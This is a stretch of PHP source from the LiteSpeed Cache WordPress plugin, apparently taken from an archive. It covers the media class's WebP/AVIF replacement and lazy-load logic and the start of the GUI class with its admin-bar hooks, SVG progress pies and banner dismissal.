				printf(' <a href="%1$s" class="litespeed-media-href %2$s" data-balloon-pos="left" data-balloon-break aria-label="%3$s">%4$s</a>', $link, $cls, $desc, $curr_status);
			} else {
				printf(
					' <span class="litespeed-desc" data-balloon-pos="left" data-balloon-break aria-label="%1$s&#10;%2$s">%3$s</span>',
					__('Using optimized version of file. ', 'litespeed-cache'),
					$is_avif ? __('No backup of unoptimized AVIF file exists.', 'litespeed-cache') : __('No backup of unoptimized WebP file exists.', 'litespeed-cache'),
					__('(optm)', 'litespeed-cache')
				);
			}
		} else {
			echo $this->next_gen_image_title() . '<span class="litespeed-left10">—</span>';
		}

		echo '</p>';

		// Delete row btn
		if ($size_meta) {
			printf(
				'<div class="row-actions"><span class="delete"><a href="%1$s" class="">%2$s</a></span></div>',
				Utility::build_url(Router::ACTION_IMG_OPTM, Img_Optm::TYPE_RESET_ROW, false, null, array( 'id' => $post_id )),
				__('Restore from backup', 'litespeed-cache')
			);
			echo '</div>';
		}
	}

	/**
	 * Get wp size info
	 *
	 * NOTE: this is not used because it has to be after admin_init
	 *
	 * @since 1.6.2
	 * @return array $sizes Data for all currently-registered image sizes.
	 */
	public function get_image_sizes() {
		global $_wp_additional_image_sizes;
		$sizes = array();

		foreach (get_intermediate_image_sizes() as $_size) {
			if (in_array($_size, array( 'thumbnail', 'medium', 'medium_large', 'large' ))) {
				$sizes[$_size]['width']  = get_option($_size . '_size_w');
				$sizes[$_size]['height'] = get_option($_size . '_size_h');
				$sizes[$_size]['crop']   = (bool) get_option($_size . '_crop');
			} elseif (isset($_wp_additional_image_sizes[$_size])) {
				$sizes[$_size] = array(
					'width' => $_wp_additional_image_sizes[$_size]['width'],
					'height' => $_wp_additional_image_sizes[$_size]['height'],
					'crop' => $_wp_additional_image_sizes[$_size]['crop'],
				);
			}
		}

		return $sizes;
	}

	/**
	 * Exclude role from optimization filter
	 *
	 * @since  1.6.2
	 * @access public
	 */
	public function webp_support( $sys_level = false ) {
		if ($sys_level) {
			return $this->_sys_format;
		}
		return $this->_format; // User level next gen support
	}
	private function _browser_support_next_gen() {
		if (!empty($_SERVER['HTTP_ACCEPT'])) {
			if (strpos($_SERVER['HTTP_ACCEPT'], 'image/' . $this->_sys_format) !== false) {
				return true;
			}
		}

		if (!empty($_SERVER['HTTP_USER_AGENT'])) {
			$user_agents = array( 'chrome-lighthouse', 'googlebot', 'page speed' );
			foreach ($user_agents as $user_agent) {
				if (stripos($_SERVER['HTTP_USER_AGENT'], $user_agent) !== false) {
					return true;
				}
			}

			if (preg_match('/iPhone OS (\d+)_/i', $_SERVER['HTTP_USER_AGENT'], $matches)) {
				if ($matches[1] >= 14) {
					return true;
				}
			}

			if (preg_match('/Firefox\/(\d+)/i', $_SERVER['HTTP_USER_AGENT'], $matches)) {
				if ($matches[1] >= 65) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Get next gen image title
	 *
	 * @since 7.0
	 */
	public function next_gen_image_title() {
		$next_gen_img = 'WebP';
		if ($this->conf(Base::O_IMG_OPTM_WEBP) == 2) {
			$next_gen_img = 'AVIF';
		}
		return $next_gen_img;
	}

	/**
	 * Run lazy load process
	 * NOTE: As this is after cache finalized, can NOT set any cache control anymore
	 *
	 * Only do for main page. Do NOT do for esi or dynamic content.
	 *
	 * @since  1.4
	 * @access public
	 * @return  string The buffer
	 */
	public function finalize( $content ) {
		if (defined('LITESPEED_NO_LAZY')) {
			Debug2::debug2('[Media] bypass: NO_LAZY const');
			return $content;
		}

		if (!defined('LITESPEED_IS_HTML')) {
			Debug2::debug2('[Media] bypass: Not frontend HTML type');
			return $content;
		}

		if (!Control::is_cacheable()) {
			self::debug('bypass: Not cacheable');
			return $content;
		}

		self::debug('finalize');

		$this->content = $content;
		$this->_finalize();
		return $this->content;
	}

	/**
	 * Run lazyload replacement for images in buffer
	 *
	 * @since  1.4
	 * @access private
	 */
	private function _finalize() {
		/**
		 * Use webp for optimized images
		 *
		 * @since 1.6.2
		 */
		if ($this->webp_support()) {
			$this->content = $this->_replace_buffer_img_webp($this->content);
		}

		/**
		 * Check if URI is excluded
		 *
		 * @since  3.0
		 */
		$excludes = $this->conf(Base::O_MEDIA_LAZY_URI_EXC);
		if (!defined('LITESPEED_GUEST_OPTM')) {
			$result = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes);
			if ($result) {
				self::debug('bypass lazyload: hit URI Excludes setting: ' . $result);
				return;
			}
		}

		$cfg_lazy          = (defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_MEDIA_LAZY)) && !$this->cls('Metabox')->setting('litespeed_no_image_lazy');
		$cfg_iframe_lazy   = defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_MEDIA_IFRAME_LAZY);
		$cfg_js_delay      = defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_OPTM_JS_DEFER) == 2;
		$cfg_trim_noscript = defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_OPTM_NOSCRIPT_RM);
		$cfg_vpi           = defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_MEDIA_VPI);

		// Preload VPI
		if ($cfg_vpi) {
			$this->_parse_img_for_preload();
		}

		if ($cfg_lazy) {
			if ($cfg_vpi) {
				add_filter('litespeed_media_lazy_img_excludes', array( $this->cls('Metabox'), 'lazy_img_excludes' ));
			}
			list($src_list, $html_list, $placeholder_list) = $this->_parse_img();
			$html_list_ori                                 = $html_list;
		} else {
			self::debug('lazyload disabled');
		}

		// image lazy load
		if ($cfg_lazy) {
			$__placeholder = Placeholder::cls();

			foreach ($html_list as $k => $v) {
				$size = $placeholder_list[$k];
				$src  = $src_list[$k];

				$html_list[$k] = $__placeholder->replace($v, $src, $size);
			}
		}

		if ($cfg_lazy) {
			$this->content = str_replace($html_list_ori, $html_list, $this->content);
		}

		// iframe lazy load
		if ($cfg_iframe_lazy) {
			$html_list     = $this->_parse_iframe();
			$html_list_ori = $html_list;

			foreach ($html_list as $k => $v) {
				$snippet = $cfg_trim_noscript ? '' : '<noscript>' . $v . '</noscript>';
				if ($cfg_js_delay) {
					$v = str_replace(' src=', ' data-litespeed-src=', $v);
				} else {
					$v = str_replace(' src=', ' data-src=', $v);
				}
				$v       = str_replace('<iframe ', '<iframe data-lazyloaded="1" src="about:blank" ', $v);
				$snippet = $v . $snippet;

				$html_list[$k] = $snippet;
			}

			$this->content = str_replace($html_list_ori, $html_list, $this->content);
		}

		// Include lazyload lib js and init lazyload
		if ($cfg_lazy || $cfg_iframe_lazy) {
			$lazy_lib      = '<script data-no-optimize="1">window.lazyLoadOptions=Object.assign({},{threshold:' . apply_filters('litespeed_lazyload_threshold', 300) . '},window.lazyLoadOptions||{});' . File::read(LSCWP_DIR . self::LIB_FILE_IMG_LAZYLOAD) . '</script>';
			if ($cfg_js_delay) {
				// Load JS delay lib
				if (!defined('LITESPEED_JS_DELAY_LIB_LOADED')) {
					define('LITESPEED_JS_DELAY_LIB_LOADED', true);
					$lazy_lib .= '<script data-no-optimize="1">' . File::read(LSCWP_DIR . Optimize::LIB_FILE_JS_DELAY) . '</script>';
				}
			}

			$this->content = str_replace('</body>', $lazy_lib . '</body>', $this->content);
		}
	}

	/**
	 * Parse img src for VPI preload only
	 * Note: Didn't reuse the _parse_img() bcoz it contains parent cls replacement and other logic which is not needed for preload
	 *
	 * @since 6.2
	 */
	private function _parse_img_for_preload() {
		// Load VPI setting
		$is_mobile = $this->_separate_mobile();
		$vpi_files = $this->cls('Metabox')->setting($is_mobile ? 'litespeed_vpi_list_mobile' : 'litespeed_vpi_list');
		if ($vpi_files) {
			$vpi_files = Utility::sanitize_lines($vpi_files, 'basename');
		}
		if (!$vpi_files) {
			return;
		}
		if (!$this->content) {
			return;
		}

		$content = preg_replace(array( '#<!--.*-->#sU', '#<noscript([^>]*)>.*</noscript>#isU' ), '', $this->content);
		if (!$content) {
			return;
		}

		preg_match_all('#<img\s+([^>]+)/?>#isU', $content, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$attrs = Utility::parse_attr($match[1]);

			if (empty($attrs['src'])) {
				continue;
			}

			if (strpos($attrs['src'], 'base64') !== false || substr($attrs['src'], 0, 5) === 'data:') {
				Debug2::debug2('[Media] lazyload bypassed base64 img');
				continue;
			}

			if (strpos($attrs['src'], '{') !== false) {
				Debug2::debug2('[Media] image src has {} ' . $attrs['src']);
				continue;
			}

			// If the src contains VPI filename, then preload it
			if (!Utility::str_hit_array($attrs['src'], $vpi_files)) {
				continue;
			}

			Debug2::debug2('[Media] VPI preload found and matched: ' . $attrs['src']);

			$this->_vpi_preload_list[] = $attrs['src'];
		}
	}

	/**
	 * Parse img src
	 *
	 * @since  1.4
	 * @access private
	 * @return array  All the src & related raw html list
	 */
	private function _parse_img() {
		/**
		 * Exclude list
		 *
		 * @since 1.5
		 * @since  2.7.1 Changed to array
		 */
		$excludes = apply_filters('litespeed_media_lazy_img_excludes', $this->conf(Base::O_MEDIA_LAZY_EXC));

		$cls_excludes   = apply_filters('litespeed_media_lazy_img_cls_excludes', $this->conf(Base::O_MEDIA_LAZY_CLS_EXC));
		$cls_excludes[] = 'skip-lazy'; // https://core.trac.wordpress.org/ticket/44427

		$src_list         = array();
		$html_list        = array();
		$placeholder_list = array();

		$content = preg_replace(
			array(
				'#<!--.*-->#sU',
				'#<noscript([^>]*)>.*</noscript>#isU',
				'#<script([^>]*)>.*</script>#isU', // Added to remove warning of file not found when image size detection is turned ON.
			),
			'',
			$this->content
		);
		/**
		 * Exclude parent classes
		 *
		 * @since  3.0
		 */
		$parent_cls_exc = apply_filters('litespeed_media_lazy_img_parent_cls_excludes', $this->conf(Base::O_MEDIA_LAZY_PARENT_CLS_EXC));
		if ($parent_cls_exc) {
			Debug2::debug2('[Media] Lazyload Class excludes', $parent_cls_exc);
			foreach ($parent_cls_exc as $v) {
				$content = preg_replace('#<(\w+) [^>]*class=(\'|")[^\'"]*' . preg_quote($v, '#') . '[^\'"]*\2[^>]*>.*</\1>#sU', '', $content);
			}
		}

		preg_match_all('#<img\s+([^>]+)/?>#isU', $content, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$attrs = Utility::parse_attr($match[1]);

			if (empty($attrs['src'])) {
				continue;
			}

			/**
			 * Add src validation to bypass base64 img src
			 *
			 * @since  1.6
			 */
			if (strpos($attrs['src'], 'base64') !== false || substr($attrs['src'], 0, 5) === 'data:') {
				Debug2::debug2('[Media] lazyload bypassed base64 img');
				continue;
			}

			Debug2::debug2('[Media] lazyload found: ' . $attrs['src']);

			if (
				!empty($attrs['data-no-lazy']) ||
				!empty($attrs['data-skip-lazy']) ||
				!empty($attrs['data-lazyloaded']) ||
				!empty($attrs['data-src']) ||
				!empty($attrs['data-srcset'])
			) {
				Debug2::debug2('[Media] bypassed');
				continue;
			}

			if (!empty($attrs['class']) && ($hit = Utility::str_hit_array($attrs['class'], $cls_excludes))) {
				Debug2::debug2('[Media] lazyload image cls excludes [hit] ' . $hit);
				continue;
			}

			/**
			 * Exclude from lazyload by setting
			 *
			 * @since  1.5
			 */
			if ($excludes && Utility::str_hit_array($attrs['src'], $excludes)) {
				Debug2::debug2('[Media] lazyload image exclude ' . $attrs['src']);
				continue;
			}

			/**
			 * Excldues invalid image src from buddypress avatar crop
			 *
			 * @see  https://wordpress.org/support/topic/lazy-load-breaking-buddypress-upload-avatar-feature
			 * @since  3.0
			 */
			if (strpos($attrs['src'], '{') !== false) {
				Debug2::debug2('[Media] image src has {} ' . $attrs['src']);
				continue;
			}

			// to avoid multiple replacement
			if (in_array($match[0], $html_list)) {
				continue;
			}

			// Add missing dimensions
			if (defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_MEDIA_ADD_MISSING_SIZES)) {
				if (!apply_filters('litespeed_media_add_missing_sizes', true)) {
					Debug2::debug2('[Media] add_missing_sizes bypassed via litespeed_media_add_missing_sizes filter');
				} elseif (empty($attrs['width']) || $attrs['width'] == 'auto' || empty($attrs['height']) || $attrs['height'] == 'auto') {
					self::debug('⚠️ Missing sizes for image [src] ' . $attrs['src']);
					$dimensions = $this->_detect_dimensions($attrs['src']);
					if ($dimensions) {
						$ori_width  = $dimensions[0];
						$ori_height = $dimensions[1];
						// Calculate height based on width
						if (!empty($attrs['width']) && $attrs['width'] != 'auto') {
							$ori_height = intval(($ori_height * $attrs['width']) / $ori_width);
						} elseif (!empty($attrs['height']) && $attrs['height'] != 'auto') {
							$ori_width = intval(($ori_width * $attrs['height']) / $ori_height);
						}

						$attrs['width']  = $ori_width;
						$attrs['height'] = $ori_height;
						$new_html        = preg_replace('#\s+(width|height)=(["\'])[^\2]*?\2#', '', $match[0]);
						$new_html        = preg_replace(
							'#<img\s+#i',
							'<img width="' . Str::trim_quotes($attrs['width']) . '" height="' . Str::trim_quotes($attrs['height']) . '" ',
							$new_html
						);
						self::debug('Add missing sizes ' . $attrs['width'] . 'x' . $attrs['height'] . ' to ' . $attrs['src']);
						$this->content = str_replace($match[0], $new_html, $this->content);
						$match[0]      = $new_html;
					}
				}
			}

			$placeholder = false;
			if (!empty($attrs['width']) && $attrs['width'] != 'auto' && !empty($attrs['height']) && $attrs['height'] != 'auto') {
				$placeholder = intval($attrs['width']) . 'x' . intval($attrs['height']);
			}

			$src_list[]         = $attrs['src'];
			$html_list[]        = $match[0];
			$placeholder_list[] = $placeholder;
		}

		return array( $src_list, $html_list, $placeholder_list );
	}

	/**
	 * Detect the original sizes
	 *
	 * @since  4.0
	 */
	private function _detect_dimensions( $src ) {
		if ($pathinfo = Utility::is_internal_file($src)) {
			$src = $pathinfo[0];
		} elseif (apply_filters('litespeed_media_ignore_remote_missing_sizes', false)) {
			return false;
		}

		if (substr($src, 0, 2) == '//') {
			$src = 'https:' . $src;
		}

		try {
			$sizes = getimagesize($src);
		} catch (\Exception $e) {
			return false;
		}

		if (!empty($sizes[0]) && !empty($sizes[1])) {
			return $sizes;
		}

		return false;
	}

	/**
	 * Parse iframe src
	 *
	 * @since  1.4
	 * @access private
	 * @return array  All the src & related raw html list
	 */
	private function _parse_iframe() {
		$cls_excludes   = apply_filters('litespeed_media_iframe_lazy_cls_excludes', $this->conf(Base::O_MEDIA_IFRAME_LAZY_CLS_EXC));
		$cls_excludes[] = 'skip-lazy'; // https://core.trac.wordpress.org/ticket/44427

		$html_list = array();

		$content = preg_replace('#<!--.*-->#sU', '', $this->content);

		/**
		 * Exclude parent classes
		 *
		 * @since  3.0
		 */
		$parent_cls_exc = apply_filters('litespeed_media_iframe_lazy_parent_cls_excludes', $this->conf(Base::O_MEDIA_IFRAME_LAZY_PARENT_CLS_EXC));
		if ($parent_cls_exc) {
			Debug2::debug2('[Media] Iframe Lazyload Class excludes', $parent_cls_exc);
			foreach ($parent_cls_exc as $v) {
				$content = preg_replace('#<(\w+) [^>]*class=(\'|")[^\'"]*' . preg_quote($v, '#') . '[^\'"]*\2[^>]*>.*</\1>#sU', '', $content);
			}
		}

		preg_match_all('#<iframe \s*([^>]+)></iframe>#isU', $content, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$attrs = Utility::parse_attr($match[1]);

			if (empty($attrs['src'])) {
				continue;
			}

			Debug2::debug2('[Media] found iframe: ' . $attrs['src']);

			if (!empty($attrs['data-no-lazy']) || !empty($attrs['data-skip-lazy']) || !empty($attrs['data-lazyloaded']) || !empty($attrs['data-src'])) {
				Debug2::debug2('[Media] bypassed');
				continue;
			}

			if (!empty($attrs['class']) && ($hit = Utility::str_hit_array($attrs['class'], $cls_excludes))) {
				Debug2::debug2('[Media] iframe lazyload cls excludes [hit] ' . $hit);
				continue;
			}

			if (apply_filters('litespeed_iframe_lazyload_exc', false, $attrs['src'])) {
				Debug2::debug2('[Media] bypassed by filter');
				continue;
			}

			// to avoid multiple replacement
			if (in_array($match[0], $html_list)) {
				continue;
			}

			$html_list[] = $match[0];
		}

		return $html_list;
	}

	/**
	 * Replace image src to webp
	 *
	 * @since  1.6.2
	 * @access private
	 */
	private function _replace_buffer_img_webp( $content ) {
		/**
		 * Added custom element & attribute support
		 *
		 * @since 2.2.2
		 */
		$webp_ele_to_check = $this->conf(Base::O_IMG_OPTM_WEBP_ATTR);

		foreach ($webp_ele_to_check as $v) {
			if (!$v || strpos($v, '.') === false) {
				Debug2::debug2('[Media] buffer_webp no . attribute ' . $v);
				continue;
			}

			Debug2::debug2('[Media] buffer_webp attribute ' . $v);

			$v    = explode('.', $v);
			$attr = preg_quote($v[1], '#');
			if ($v[0]) {
				$pattern = '#<' . preg_quote($v[0], '#') . '([^>]+)' . $attr . '=([\'"])(.+)\2#iU';
			} else {
				$pattern = '# ' . $attr . '=([\'"])(.+)\1#iU';
			}

			preg_match_all($pattern, $content, $matches);

			foreach ($matches[$v[0] ? 3 : 2] as $k2 => $url) {
				// Check if is a DATA-URI
				if (strpos($url, 'data:image') !== false) {
					continue;
				}

				if (!($url2 = $this->replace_webp($url))) {
					continue;
				}

				if ($v[0]) {
					$html_snippet = sprintf('<' . $v[0] . '%1$s' . $v[1] . '=%2$s', $matches[1][$k2], $matches[2][$k2] . $url2 . $matches[2][$k2]);
				} else {
					$html_snippet = sprintf(' ' . $v[1] . '=%1$s', $matches[1][$k2] . $url2 . $matches[1][$k2]);
				}

				$content = str_replace($matches[0][$k2], $html_snippet, $content);
			}
		}

		// parse srcset
		// todo: should apply this to cdn too
		if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_IMG_OPTM_WEBP_REPLACE_SRCSET)) && $this->webp_support()) {
			$content = Utility::srcset_replace($content, array( $this, 'replace_webp' ));
		}

		// Replace background-image
		if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_IMG_OPTM_WEBP)) && $this->webp_support()) {
			$content = $this->replace_background_webp($content);
		}

		return $content;
	}

	/**
	 * Replace background image
	 *
	 * @since  4.0
	 */
	public function replace_background_webp( $content ) {
		Debug2::debug2('[Media] Start replacing background WebP/AVIF.');

		// Handle Elementors data-settings json encode background-images
		$content = $this->replace_urls_in_json($content);

		// preg_match_all( '#background-image:(\s*)url\((.*)\)#iU', $content, $matches );
		preg_match_all('#url\(([^)]+)\)#iU', $content, $matches);
		foreach ($matches[1] as $k => $url) {
			// Check if is a DATA-URI
			if (strpos($url, 'data:image') !== false) {
				continue;
			}

			/**
			 * Support quotes in src `background-image: url('src')`
			 *
			 * @since 2.9.3
			 */
			$url = trim($url, '\'"');

			// Fix Elementors Slideshow unusual background images like  style="background-image: url(&quot;https://xxxx.png&quot;);"
			if (strpos($url, '&quot;') === 0 && substr($url, -6) == '&quot;') {
				$url = substr($url, 6, -6);
			}

			if (!($url2 = $this->replace_webp($url))) {
				continue;
			}

			// $html_snippet = sprintf( 'background-image:%1$surl(%2$s)', $matches[ 1 ][ $k ], $url2 );
			$html_snippet = str_replace($url, $url2, $matches[0][$k]);
			$content      = str_replace($matches[0][$k], $html_snippet, $content);
		}

		return $content;
	}

	/**
	 * Replace images in json data settings attributes
	 *
	 * @since  6.2
	 */
	public function replace_urls_in_json( $content ) {
		$pattern      = '/data-settings="(.*?)"/i';
		$parent_class = $this;

		preg_match_all($pattern, $content, $matches, PREG_SET_ORDER);

		foreach ($matches as $match) {
			// Check if the string contains HTML entities
			$isEncoded = preg_match('/&quot;|&lt;|&gt;|&amp;|&apos;/', $match[1]);

			// Decode HTML entities in the JSON string
			$jsonString = html_entity_decode($match[1]);

			$jsonData = \json_decode($jsonString, true);

			if (json_last_error() === JSON_ERROR_NONE) {
				$did_webp_replace = false;

				array_walk_recursive($jsonData, function ( &$item, $key ) use ( &$did_webp_replace, $parent_class ) {
					if ($key == 'url') {
						$item_image = $parent_class->replace_webp($item);
						if ($item_image) {
							$item = $item_image;

							$did_webp_replace = true;
						}
					}
				});

				if ($did_webp_replace) {
					// Re-encode the modified array back to a JSON string
					$newJsonString = \json_encode($jsonData);

					// Re-encode the JSON string to HTML entities only if it was originally encoded
					if ($isEncoded) {
						$newJsonString = htmlspecialchars($newJsonString, ENT_QUOTES | 0); // ENT_HTML401 is for PHPv5.4+
					}

					// Replace the old JSON string in the content with the new, modified JSON string
					$content = str_replace($match[1], $newJsonString, $content);
				}
			}
		}

		return $content;
	}

	/**
	 * Replace internal image src to webp or avif
	 *
	 * @since  1.6.2
	 * @access public
	 */
	public function replace_webp( $url ) {
		if (!$this->webp_support()) {
			self::debug2('No next generation format chosen in setting, bypassed');
			return false;
		}
		Debug2::debug2('[Media] ' . $this->_sys_format . ' replacing: ' . substr($url, 0, 200));

		if (substr($url, -5) === '.' . $this->_sys_format) {
			Debug2::debug2('[Media] already ' . $this->_sys_format);
			return false;
		}

		/**
		 * WebP API hook
		 * NOTE: As $url may contain query strings, WebP check will need to parse_url before appending .webp
		 *
		 * @since  2.9.5
		 * @see  #751737 - API docs for WebP generation
		 */
		if (apply_filters('litespeed_media_check_ori', Utility::is_internal_file($url), $url)) {
			// check if has webp file
			if (apply_filters('litespeed_media_check_webp', Utility::is_internal_file($url, $this->_sys_format), $url)) {
				$url .= '.' . $this->_sys_format;
			} else {
				Debug2::debug2('[Media] -no WebP or AVIF file, bypassed');
				return false;
			}
		} else {
			Debug2::debug2('[Media] -no file, bypassed');
			return false;
		}

		Debug2::debug2('[Media] - replaced to: ' . $url);

		return $url;
	}

	/**
	 * Hook to wp_get_attachment_image_src
	 *
	 * @since  1.6.2
	 * @access public
	 * @param  array $img The URL of the attachment image src, the width, the height
	 * @return array
	 */
	public function webp_attach_img_src( $img ) {
		Debug2::debug2('[Media] changing attach src: ' . $img[0]);
		if ($img && ($url = $this->replace_webp($img[0]))) {
			$img[0] = $url;
		}
		return $img;
	}

	/**
	 * Try to replace img url
	 *
	 * @since  1.6.2
	 * @access public
	 * @param  string $url
	 * @return string
	 */
	public function webp_url( $url ) {
		if ($url && ($url2 = $this->replace_webp($url))) {
			$url = $url2;
		}
		return $url;
	}

	/**
	 * Hook to replace WP responsive images
	 *
	 * @since  1.6.2
	 * @access public
	 * @param  array $srcs
	 * @return array
	 */
	public function webp_srcset( $srcs ) {
		if ($srcs) {
			foreach ($srcs as $w => $data) {
				if (!($url = $this->replace_webp($data['url']))) {
					continue;
				}
				$srcs[$w]['url'] = $url;
			}
		}
		return $srcs;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/gui.cls.php000064400000074256151031165260017151 0ustar00<?php
// phpcs:ignoreFile

/**
 * The frontend GUI class.
 *
 * @since       1.3
 * @subpackage  LiteSpeed/src
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class GUI extends Base {

	private static $_clean_counter = 0;

	private $_promo_true;

	// [ file_tag => [ days, litespeed_only ], ... ]
	private $_promo_list = array(
		'new_version' => array( 7, false ),
		'score' => array( 14, false ),
		// 'slack'      => array( 3, false ),
	);

	const LIB_GUEST_JS        = 'assets/js/guest.min.js';
	const LIB_GUEST_DOCREF_JS = 'assets/js/guest.docref.min.js';
	const PHP_GUEST           = 'guest.vary.php';

	const TYPE_DISMISS_WHM            = 'whm';
	const TYPE_DISMISS_EXPIRESDEFAULT = 'ExpiresDefault';
	const TYPE_DISMISS_PROMO          = 'promo';
	const TYPE_DISMISS_PIN            = 'pin';

	const WHM_MSG     = 'lscwp_whm_install';
	const WHM_MSG_VAL = 'whm_install';

	protected $_summary;

	/**
	 * Instance
	 *
	 * @since  1.3
	 */
	public function __construct() {
		$this->_summary = self::get_summary();
	}

	/**
	 * Frontend Init
	 *
	 * @since  3.0
	 */
	public function init() {
		Debug2::debug2('[GUI] init');
		if (is_admin_bar_showing() && current_user_can('manage_options')) {
			add_action('wp_enqueue_scripts', array( $this, 'frontend_enqueue_style' ));
			add_action('admin_bar_menu', array( $this, 'frontend_shortcut' ), 95);
		}

		/**
		 * Turn on instant click
		 *
		 * @since  1.8.2
		 */
		if ($this->conf(self::O_UTIL_INSTANT_CLICK)) {
			add_action('wp_enqueue_scripts', array( $this, 'frontend_enqueue_style_public' ));
		}

		// NOTE: this needs to be before optimizer to avoid wrapper being removed
		add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 8);
	}

	/**
	 * Print a loading message when redirecting CCSS/UCSS page to avoid whiteboard confusion
	 */
	public static function print_loading( $counter, $type ) {
		echo '<div style="font-size: 25px; text-align: center; padding-top: 150px; width: 100%; position: absolute;">';
		echo "<img width='35' src='" . LSWCP_PLUGIN_URL . "assets/img/Litespeed.icon.svg' />   ";
		printf(__('%1$s %2$s files left in queue', 'litespeed-cache'), $counter, $type);
		echo '<p><a href="' . admin_url('admin.php?page=litespeed-page_optm') . '">' . __('Cancel', 'litespeed-cache') . '</a></p>';
		echo '</div>';
	}

	/**
	 * Display the tab list
	 *
	 * @since 7.3
	 */
	public static function display_tab_list( $tabs ) {
		$i = 1;
		foreach ( $tabs as $k => $val ) {
			$accesskey = $i <= 9 ? $i : '';
			printf(
				'<a class="litespeed-tab nav-tab" href="#%1$s" data-litespeed-tab="%1$s" litespeed-accesskey="%2$s">%3$s</a>',
				esc_attr( $k ),
				esc_attr( $accesskey ),
				esc_html( $val )
			);
			++$i;
		}
	}

	/**
	 * Display a pie
	 *
	 * @since 1.6.6
	 */
	public static function pie( $percent, $width = 50, $finished_tick = false, $without_percentage = false, $append_cls = false ) {
		$percentage = '<text x="50%" y="50%">' . $percent . ($without_percentage ? '' : '%') . '</text>';

		if ($percent == 100 && $finished_tick) {
			$percentage = '<text x="50%" y="50%" class="litespeed-pie-done">✓</text>';
		}

		return "
		<svg class='litespeed-pie $append_cls' viewbox='0 0 33.83098862 33.83098862' width='$width' height='$width' xmlns='http://www.w3.org/2000/svg'>
			<circle class='litespeed-pie_bg' cx='16.91549431' cy='16.91549431' r='15.91549431' />
			<circle class='litespeed-pie_circle' cx='16.91549431' cy='16.91549431' r='15.91549431' stroke-dasharray='$percent,100' />
			<g class='litespeed-pie_info'>$percentage</g>
		</svg>
		";
	}

	/**
	 * Allow svg html filters
	 *
	 * @since 7.3
	 */
	public static function allowed_svg_tags() {
		return array(
			'svg'   => array(
				'width'   => true,
				'height'  => true,
				'viewbox' => true, // Note: SVG standard uses 'viewBox', but wp_kses normalizes to lowercase.
				'xmlns'   => true,
				'class'   => true,
				'id'      => true,
			),
			'circle' => array(
				'cx'               => true,
				'cy'               => true,
				'r'                => true,
				'fill'             => true,
				'stroke'           => true,
				'class'            => true,
				'stroke-width'     => true,
				'stroke-dasharray' => true,
			),
			'path'  => array(
				'd'      => true,
				'fill'   => true,
				'stroke' => true,
			),
			'text'  => array(
				'x'            => true,
				'y'            => true,
				'dx'           => true,
				'dy'           => true,
				'font-size'    => true,
				'font-family'  => true,
				'font-weight'  => true,
				'fill'         => true,
				'stroke'       => true,
				'stroke-width' => true,
				'text-anchor'  => true,
				'class'        => true,
				'id'           => true,
			),
			'g'     => array(
				'transform'    => true,
				'fill'         => true,
				'stroke'       => true,
				'stroke-width' => true,
				'class'        => true,
				'id'           => true,
			),
			'button' => array(
				'type'               => true,
				'data-balloon-break' => true,
				'data-balloon-pos'   => true,
				'aria-label'         => true,
				'class'              => true,
			),
		);
	}

	/**
	 * Display a tiny pie with a tooltip
	 *
	 * @since 3.0
	 */
	public static function pie_tiny( $percent, $width = 50, $tooltip = '', $tooltip_pos = 'up', $append_cls = false ) {
		// formula C = 2πR
		$dasharray = 2 * 3.1416 * 9 * ($percent / 100);

		return "
		<button type='button' data-balloon-break data-balloon-pos='$tooltip_pos' aria-label='$tooltip' class='litespeed-btn-pie'>
		<svg class='litespeed-pie litespeed-pie-tiny $append_cls' viewbox='0 0 30 30' width='$width' height='$width' xmlns='http://www.w3.org/2000/svg'>
			<circle class='litespeed-pie_bg' cx='15' cy='15' r='9' />
			<circle class='litespeed-pie_circle' cx='15' cy='15' r='9' stroke-dasharray='$dasharray,100' />
			<g class='litespeed-pie_info'><text x='50%' y='50%'>i</text></g>
		</svg>
		</button>
		";
	}

	/**
	 * Get classname of PageSpeed Score
	 *
	 * Scale:
	 *  90-100 (fast)
	 *  50-89 (average)
	 *  0-49 (slow)
	 *
	 * @since  2.9
	 * @access public
	 */
	public function get_cls_of_pagescore( $score ) {
		if ($score >= 90) {
			return 'success';
		}

		if ($score >= 50) {
			return 'warning';
		}

		return 'danger';
	}

	/**
	 * Dismiss banner
	 *
	 * @since 1.0
	 * @access public
	 */
	public static function dismiss() {
		$_instance = self::cls();
		switch (Router::verify_type()) {
			case self::TYPE_DISMISS_WHM:
            self::dismiss_whm();
				break;

			case self::TYPE_DISMISS_EXPIRESDEFAULT:
            self::update_option(Admin_Display::DB_DISMISS_MSG, Admin_Display::RULECONFLICT_DISMISSED);
				break;

			case self::TYPE_DISMISS_PIN:
            Admin_display::dismiss_pin();
				break;

			case self::TYPE_DISMISS_PROMO:
            if (empty($_GET['promo_tag'])) {
					break;
				}

            $promo_tag = sanitize_key($_GET['promo_tag']);

            if (empty($_instance->_promo_list[$promo_tag])) {
					break;
				}

            defined('LSCWP_LOG') && Debug2::debug('[GUI] Dismiss promo ' . $promo_tag);

            // Forever dismiss
            if (!empty($_GET['done'])) {
					$_instance->_summary[$promo_tag] = 'done';
				} elseif (!empty($_GET['later'])) {
                // Delay the banner to half year later
                $_instance->_summary[$promo_tag] = time() + 86400 * 180;
				} else {
                // Update welcome banner to 30 days after
                $_instance->_summary[$promo_tag] = time() + 86400 * 30;
				}

            self::save_summary();

				break;

			default:
				break;
		}

		if (Router::is_ajax()) {
			// All dismiss actions are considered as ajax call, so just exit
			exit(\json_encode(array( 'success' => 1 )));
		}

		// Plain click link, redirect to referral url
		Admin::redirect();
	}

	/**
	 * Check if has rule conflict notice
	 *
	 * @since 1.1.5
	 * @access public
	 * @return boolean
	 */
	public static function has_msg_ruleconflict() {
